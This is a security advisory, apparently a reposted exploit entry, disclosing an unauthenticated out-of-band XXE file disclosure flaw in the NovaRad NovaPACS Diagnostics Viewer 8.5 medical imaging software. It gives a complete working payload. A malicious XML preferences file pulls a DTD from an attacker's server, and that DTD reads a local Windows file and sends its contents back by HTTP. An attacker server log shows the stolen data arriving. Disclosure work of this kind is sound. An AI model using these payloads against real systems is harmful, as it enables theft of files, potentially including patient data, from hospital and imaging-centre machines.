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NovaRad NovaPACS Diagnostics Viewer 8.5 File Disclosure

NovaRad NovaPACS Diagnostics Viewer 8.5 File Disclosure
Posted Sep 5, 2018
Authored by LiquidWorm | Site zeroscience.mk

NovaRad NovaPACS Diagnostics Viewer version 8.5 suffers from an XML external entity injection vulnerability that allows for file disclosure.

tags | exploit
SHA-256 | b8bf25dab063e2dae51eba4402af354153dd867fac3cb576749dd375a90183c1

NovaRad NovaPACS Diagnostics Viewer 8.5 File Disclosure

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NovaRad NovaPACS Diagnostics Viewer v8.5 OOB XXE File Disclosure


Vendor: NovaRad Corporation
Product web page: https://www.novarad.net
Affected version: 8.5.19.75 (Diagnostics Viewer, Study Browser)

Summary: NovaPACS revolutionary workflow infrastructure has been
designed and developed using the expertise of radiology directors,
technicians, PACS administrators for over 20 years. This wealth of
imaging experience has lead to over 850 installations in more than
15 countries as well as key partnerships throughout the imaging industry.
Built as a completely scalable solution, NovaPACS can be used in
imaging centers, or in a hospital environment as a part of a complete
enterprise imaging strategy. Our feature-rich PACS system is entirely
customizable. This allows optimization of each useras profile based
on their unique needs and demands which, improves both speed and
efficiency. The NovaPACS user interface can display reports, priors
and patient histories right alongside the most current study.

Desc: NovaPACS suffers from an unauthenticated XML External Entity
(XXE) injection vulnerability using the DTD parameter entities technique
resulting in disclosure and retrieval of arbitrary data from the affected
node via out-of-band (OOB) channel attack. The vulnerability is triggered
when importing XML format preferences within the settings submenu.

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2018-5488
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php


28.08.2018

--


Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://10.0.1.230:8080/xxe.xml">
%remote;
%root;
%oob;]>


Attacker's xxe.xml:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://10.0.1.230:8080/?%payload;'> ">


Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /xxe.xml HTTP/1.1" 200 -
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo%0D%0A[FIX%20DMACS]%0D%0AMinAfterStartup=0 HTTP/1.1" 200 -
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